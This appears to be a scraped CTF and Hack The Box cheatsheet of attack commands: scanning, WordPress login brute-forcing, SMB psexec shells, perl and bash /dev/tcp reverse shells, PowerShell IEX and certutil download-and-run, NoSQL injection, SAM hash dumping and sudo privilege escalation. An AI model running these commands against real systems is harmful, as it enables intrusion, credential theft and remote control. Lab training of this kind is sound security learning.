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Awesome CTF Cheatsheet Awesome

A currated list of all capture the flag tips and strategies to solve Online CTF challenges and Hackthebox Machines.


Contents

System Hacking

Nmap Scanning

To scan for systems and Open Services/Ports, Use Nmap.

> $ nmap -sV 

To scan for Vulnerabilities on system.

> $ nmap --script vuln 

To scan for all ports, SYN Scan and OS detection.

> $ nmap -sS -T4 -A -p- 

To scan using inbuilt nmap scripts.

> $ nmap --script ssl-enum-ciphers -p 443  

Netdiscover Scanning

To passively discover machines on the network, Use Netdiscover.

> $ netdiscover -i 
  Currently scanning: 192.168.17.0/16   |   Screen View: Unique Hosts                                                           3 Captured ARP Req/Rep packets, from 8 hosts.   Total size: 480                                                               _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
  -----------------------------------------------------------------------------
  192.168.1.1     11:22:33:44:55:66      1      60  NETGEAR                                                                                           
  192.168.1.2     21:22:33:44:55:66      1      60  Apple, Inc.                                                                                      
  192.168.1.8     41:22:33:44:55:66      1      60  Intel Corporate 

Nikto Scanning

To scan for vulnerabilities use Nikto.

> $ nikto -h 

WebServer is Open

If Port 80 or 443 is open, we can look for robots.txt to check for hidden flags or clues.

To find the Webserver version, Use Curl tool with

I
flag. ```

$ curl -I HTTP/1.1 200 OK Date: Mon, 11 May 2020 05:18:21 Server: gws Last-Modified: Mon, 11 May 2020 05:18:21 Content-Length: 4171 Content-Type: text/html Connection: Closed ```

If Port 80 is Closed and its the only port opened on the machine, it can be due to presence of IDS or Port knocking. - We can give a timeout and try scanning after sometime to check if the port is still closed. - To check if Port is Open without knocking on IDS using TCP Scan instead of SYN Scan. ```

$ nmap -p 80 -sT Starting Nmap 7.80 ( https://nmap.org ) Nmap scan report for 10.10.10.168 Host is up (0.038s latency).

PORT STATE SERVICE 80/tcp closed http Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds ```

Directory Bursting

To enumerate directories on a webserver, Use wfuzz.

> $ wfuzz -u http:///FUZZ/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 


  • Wfuzz 2.4.5 - The Web Fuzzer *

Target: http:///FUZZ/

Generating Wordlist from the Website

> $ cewl -w wordlist.txt -d 10 -m 1 http:///

$ wc wordlist.txt 354 354 2459 wordlist.txt

SMB is Open

If SMB has misconfigured anonymous login, Use smbclient to list shares.

> $ smbclient -L \\\\

If SMB Ports are open, we can look for anonymous login to mount misconfigured shares.

> $ mkdir /mnt/smb
> $ mount -t cifs /// /mnt/smb/
Password for [email protected]///: 

If we found Administrator Credentials for SMB, Access the root shell using this method.

> $ /opt/impacket/examples# smbmap -u administrator -p password -H 
[+] Finding open SMB ports....
[+] User SMB session establishd on ...
[+] IP: :445   Name:                                       
     Disk                                                   Permissions
     ----                                                   -----------
     ADMIN$                                             READ, WRITE
     Backups                                            READ, WRITE
     C$                                                 READ, WRITE
     IPC$                                               READ ONLY

> $ /opt/impacket/examples# python psexec.py [email protected] Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

Password: [] Requesting shares on ..... [] Found writable share ADMIN$ [] Uploading file tJJmcVQN.exe [] Opening SVCManager on ..... [] Creating service RKAe on .... [] Starting service RKAe..... [!] Press help for extra shell commands Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

To Extract and Mount VHD Drive Files

> $ 7z l .vhd
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i5-5200U CPU @ 2.20GHz (306D4),ASM,AES-NI)
Scanning the drive for archives:
1 file, 5418299392 bytes (5168 MiB)
Listing archive: .vhd

> $ guestmount --add .vhd --inspector -ro -v /mnt/vhd

To search for Exploits on Metasploit by Name

> $ searchsploit apache 1.2.4

Wordpress Open

If

/wp-login.php
is found in the Enumeration scanning, it can be Wordpress site.

To crack the login credentials for Wordpress, Use Hydra. We can use Burpsuite to capture the request parameters ```

$ hydra -V -l wordlist.dic -p 123 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid Username ```

To scan Wordpress site for Vulnerabilities.

> $ gem install wpscan
> $ wpscan --url  --usernames  --passwords wordlist.dic

To get a reverse shell using Admin Upload.

> $ msfconsole
> $ use exploit/unix/webapp/wp_admin_shell_upload

RPC Open

If RPC is open, we can login using rpclient.

> $ rpcclient -U "" 

Powershell

To bypass execution policy ```

$ powershell.exe -exec bypass ```

NOSql Code Injection

username[$ne]=help&password[$ne]=help&login=login

Web Hacking

Five Stages of Web Hacking

    * Reconnaissance
    * Scanning and Enumeration
    * Gaining Access
    * Maintaining Access
    * Covering Tracks

Enumeration and Reconnaissance Tools

  • Whois, Nslookup, Dnsrecon, Google Fu, Dig - To passively enumerate website.
  • Sublist3r - Subdomains enumeration tool.
  • crt.sh - Certificate enumeration tool.
  • Hunter.io - Email enumeration tool.
  • Nmap, Wappalyzer, Whatweb, Builtwith, Netcat - Fingerprinting tools.
  • HaveIbeenPwned - Useful for breach enumeraton.
  • Use SecurityHeaders to find some misconfigured header information on target website.
  • Use Zap Proxy tool to extract hidden files/directories.
  • Clear Text Passwords Link

To gather information from online sources.

> $ theharvester -d microsoft.com -l 200 -g -b google

Scanning

Ping Sweep a network.

> $ nmap -sn 

SYN Scan with Speed of 4 and port of common 1000 TCP.

> $ nmap -T4 

All Port scan with All Scanning including OS, Version, Script and Traceroute.

> $ nmap -T4 -A -p- 

To scan for UDP Ports (Dont scan all scans, as it takes lot of time).

> $ nmap -sU -T4 

Payloads

Non Staged Payload Example.

windows/meterpreter_reverse_tcp

Staged Payload Example.

windows/meterpreter/reverse_tcp

Shells

To use bind shell, we have to follow two steps: 1, Create a Bind Shell 2,Listen for connection. ```

$ nc

``

> $ nc -lvp 

If website is launching perl reverse shell, we can modify it to get better shell using Bash oneliner.

> $ perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,":4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};' 2>&1
> $ bash -c 'bash -i &> /dev/tcp//9001 0>&1'

BufferOverflow

To generate shellcode quickly, we can use python

pwn
library. ```

$ python -c "import pwn;print(pwn.asm(pwn.shellcraft.linux.sh)) ```

> $ (python -c "import pwn;print(pwn.asm(pwn.shellcraft.linux.sh()))" ;cat) | ./vuln

Gobuster

Normal Enumeration.

> $ gobuster dir -u http:// -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 

With Cookie (Useful to directory traversal when cookie is needed). ```

$ gobuster dir -u http:// -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -c PHPSESSID=

Gobuster v3.0.1

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@FireFart)

[+] Url: http:// [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] Cookies: [+] User Agent: gobuster/3.0.1 [+] Extensions: php

[+] Timeout: 10s

2020/04/19 01:43:01 Starting gobuster

/home.php (Status: 302) /index.php (Status: 200) ```

SQLMAP

Redirect the HTTP Request to Burpsuite and we can see the request like this. ``` POST / HTTP/1.1 Host: User-Agent: Mozilla/5.0 (X11; Linux x8664; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://<IPADDRESS>/ Content-Type: application/x-www-form-urlencoded Content-Length: 11 Connection: close Upgrade-Insecure-Requests: 1

search=help

Now Right click and click on `copy to file` option.

$ sqlmap -r search.req --batch --force-ssl ___ H ___ [,]__ ___ ___ {1.4.3#stable} |_ -| . ["] | .'| . | || [.]||_|,| | ||V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 01:25:16 /2020-04-19/

[01:25:16] [INFO] parsing HTTP request from 'search.req' [01:25:17] [INFO] testing connection to the target URL [01:25:17] [INFO] checking if the target is protected by some kind of WAF/IPS [01:25:17] [INFO] testing if the target URL content is stable [01:25:18] [INFO] target URL content is stable [01:25:18] [INFO] testing if POST parameter 'search' is dynamic [01:25:18] [WARNING] POST parameter 'search' does not appear to be dynamic [01:25:18] [WARNING] heuristic (basic) test shows that POST parameter 'search' might not be injectable [01:25:19] [INFO] testing for SQL injection on POST parameter 'search' [01:25:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [01:25:20] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [01:25:21] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [01:25:22] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' ```

File Hacking

Extract hidden text from PDF Files

If something is hidden on a pdf which we need to find, we can Press

Ctrl + A
to copy everything on the pdf and paste on notepad. If nothing is found, we can use Inkspace tool to paste the pdf and try to ungroup several times to extract any hidden flag. Else solve using pdf-uncompress tools like
qpdf
to convert compressed data to redeable format.

Compress File Extraction

If there is

PK
at the start of the file in the magic bytes, its most probably
ZIP
File.

To extract data from recursive zip file.

> $ binwalk -Me 

Extract hidden strings

If file is having some hidden text, we can use

hexeditor
or
strings
commands to locate the flag.

If hidden text has == at the end, it is

base64
encoded.

To monitor the appplication calls of a binary.

> $ strace -s -f 12345 -e trace=recv,read 

To track all Application & library calls of a program.

> $ ltrace ./

Cryptography

Caesar Cipher

If there is word

caesar
in the question or hint, it can be a substitution cipher.

If you find

!
in the cipher text and cipher seems to be within certain range of Letters and appears to be transposition of a plain text, Use this website Ceasar Box to Bruteforce the hidden message.

Vigenere Cipher

To break Vigenere ciphers without knowing the key. - Use this website Link - Bruteforce solver.

One Time Pad Cipher

To solve One Time Pad, Use OTP.

> $ /usr/share/john/ssh2john.py id_rsa > output.hash

Forensics

Image File

Try

file
comamnd on the image to learn more information.

To extract data inside Image files.

> $ zsteg 

To check for metadata of the Image files.

> $ exiftool 

To search for particular string or flag in an Image file.

> $ strings  | grep flag{

To extract data hidden inside an image file protected with password.

> $ steghide extract -sf 

Binwalk

Binwalk helps to find data inside the image or sometimes if binwalk reports as zip Archive, we can rename the file to .zip to find interesting data. ```

$ binwalk ```

Extract NTFS Filesystem

If there is ntfs file, extract with 7Zip on Windowds. 
If there is a file with alternative data strems, we can use the command `dir /R `.
Then we can this command to extract data inside it `cat  > asdf.`

To extract ntfs file system on Linux.

> $ sudo mount -o loop  mnt

Recover Files from Deleted File Systems

To Recover Files from Deleted File Systems from Remote Hosts. ```

$ ssh [email protected]_address "sudo dcfldd -if=/dev/sdb | gzip -1 ." | dcfldd of=extract.dd.gz $ gunzip -d extract.dd.gz $ binwalk -Me extract.dd ```

Packet Capture

If usb keys are mapped with pcap, we can use this Article to extract usb keys entered: Link ```

$ tskark.exe -r -Y "usb.transfer_types==1" -e "frame.time.epoch" -e "usb.capdata" -Tfields ```

JavaScript Deobfuscator

To Deobfuscate JavaScript, use Jsnice.

Password Cracking

JOHN the ripper

If there is

JOHN
in the title or text or hint, its mostly reference to
JOHN the ripper
for bruteforce passwords/hashes. ```

$ john --wordlist=/usr/share/wordlists/rockyou.txt ```

To crack well known hashes, use Link

SAM Hashes

To get System User Hashes, we can follow this method. ```

$ /mnt/vhd/Windows/System32/config# cp SAM SYSTEM ~/CTF/ $ /mnt/vhd/Windows/System32/config# cd ~/CTF/ ~/CTF# ls SAM SYSTEM
~/CTF# mkdir Backupdump ~/CTF# mv SAM SYSTEM Backupdump/ ~/CTF# cd Backupdump/ ~/CTF/Backupdump# ls SAM SYSTEM ~/CTF/Backup_dump# impacket-secretsdump -sam SAM -system SYSTEM local Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f [] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: User:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9::: [*] Cleaning up... ```

Linux User Hashes

If we able to extract /etc/passwd and /etc/shadow file we can use

unshadow
```

$ unshadow ```

Hashcat

To crack the password, we can use

hashcat
here 500 is for format
$1$
Replace it accordingly. ```

$ hashcat -m 500 -a 0 -o cracked.txt hashes.txt /usr/share/wordlists/rockyou.txt --force ```

7z Password Cracking

To extract 7z password, Use tool

7z2john

SSH Password Cracking

To crack encrypted ssh key use

ssh2john
tool.

Privilige Escalation

Standard Scripts for Enumeration

Dirtycow

On older linux kernals, we can gain root access using dirtycow exploit.

To Use DirtyCow : Link - Maybe more specifically : Dirty.c

Sudo

To check what sudo command can the current user run with no-password.

> $ sudo -l

Examples:

> $ sudo -l
User www-data may run the following commands on bashed:
(enemy : enemy) NOPASSWD: ALL

We can try like below ```

$ sudo -u enemy /bin/bash id uid=1001(enemy) gid=1001(enemy) groups=1001(enemy) ```

> $ sudo -l
[sudo] password for username: 
Matching Defaults entries for username on Victim:
  env_reset, mail_badpass,
  secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User username may run the following commands on Victim: (ALL : ALL) ALL > $ cat /root/root.txt cat: /root/root.txt: Permission denied - Does not work > $ sudo cat /root/root.txt - Work

[email protected]:~$ sudo -l
sudo -l
Matching Defaults entries for user on host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User user may run the following commands on host: (ALL, !root) /bin/bash

[email protected]:~$ sudo -u#-1 /bin/bash sudo -u#-1 /bin/bash Password: Password

Sorry, try again. Password:

[email protected]:/home/user# id id uid=0(root) gid=1001(user) groups=1001(user)

Gain More Privilige on windows system

  • In meterpreter shell try
    getsystem
  • In meterpreter shell try
    background
    and then follow rest of commands.
  • search suggester
    > use post/multi/recon/local_exploit_suggestor
    show options
    set session 1
    run
    
  • If worked fine, else Try follow rest of commands.
  • Use this link: FuzzySec Win Priv Exec
  • Use this method: Sherlock
  • If current process doesnt own Privs, use
    migrate 
    to get more Priviliges in Meterpretor.

To get Shell on Windows use Unicorn ```

$ /opt/unicorn/unicorn.py windows/meterpreter/reversetcp <HOSTIP> 3333 [] Generating the payload shellcode.. This could take a few seconds/minutes as we create the shellcode... $ msfconsole -r unicorn.rc [] Started reverse TCP handler on :3333 msf5 exploit(multi/handler) >
```

MYSQL with Sudo Privilage

To get Shell from MYSQL

mysql> \! /bin/sh

VIM Editor with Sudo Privilage

To get Shell from VIM.

Method-1: ```

$ sudo /usr/bin/vi /var/www/html/../../../root/root.txt ``` Method-2:

> $ sudo /usr/bin/vi /var/www/html/anyrandomFile
Type Escape and enter :!/bin/bash

Cronjob

If some system cron is getting some url present in the file, we can replace url to get flag as below. ```

$ cat input url = "file:///root/root.txt" ```

To monitor cronjobs, we can tail the syslogs. ```

$ tail -f /var/log/syslog Nov 18 23:55:01 sun CRON[5327]: (root) CMD (python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py) Nov 19 00:00:01 sun CRON[5626]: (root) CMD (python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py) Nov 19 00:00:01 sun CRON[5627]: (sun) CMD (nodejs /home/sun/server.js >/dev/null 2>&1) Nov 19 00:05:01 sun CRON[5701]: (root) CMD (python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py) ```

More or Less Command

  • If any file we found in low priv user and it contains something like this, we can execute it and minimize the size of terminal to enter the visual mode to gain root access.
> $ cat new.sh 
#!/bin/bash
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
> $ sh new.sh 
-- Logs begin at Sun 2019-11-17 19:19:25 EST, end at Mon 2019-11-18 17:13:44 EST. --
Nov 18 17:02:26 kali sudo[11538]: pam_unix(sudo:auth): authentication failure; logname= uid=33 eu
Nov 18 17:02:29 kali sudo[11538]: pam_unix(sudo:auth): conversation failed
Nov 18 17:02:29 kali sudo[11538]: pam_unix(sudo:auth): auth could not identify password for [www-
Nov 18 17:02:29 kali sudo[11538]: www-data : command not allowed ; TTY=unknown ; PWD=/tmp ; USER=
Nov 18 17:02:29 kali crontab[11595]: (www-data) LIST (www-data)
!/bin/bash
root # 

Improve Shell

To get the better Shell after taking control of the system.

[email protected]:/var/www/html$ python3 -c "import pty;pty.spawn('/bin/bash')"


Transfer Files from Host to Target Machine

  • Use
    python -m SimpleHTTPServer
    in the host folder.
  • Use Apache and put files in
    /var/www/html/
    folder.
  • If Tomcat is Opened, upload the file/payload using the Admin panel.
  • If wordpress is running, upload the file as plugin.
  • In Windows Victim, use
    certutil -urlcache -f http:/// 
  • In Windows, Using Powershell:
    PS C:\Users\User\Desktop> IEX(New-Object Net.WebClient).downloadString('http://:8000/jaws-enum.ps1')

FTP

If we were able to access FTP, we can upload SSH Key to login without password. ```

$ ftp Connected to . 220 ProFTPD 1.3.5a Server (Debian) [::ffff:] Name (:root): notch 331 Password required for notch Password: 230 User notch logged in Remote system type is UNIX. Using binary mode to transfer files. ftp> put idrsa.pub ftp> rename idrsa.pub authorized_keys ```

Reconnoitre

Security tool for multithreaded information gathering and service enumeration whilst building directory structures to store results, along with writing out recommendations for further testing. - Link ```

$ reconnoitre -t 10.10.10.37 -o

pwd
--services
``

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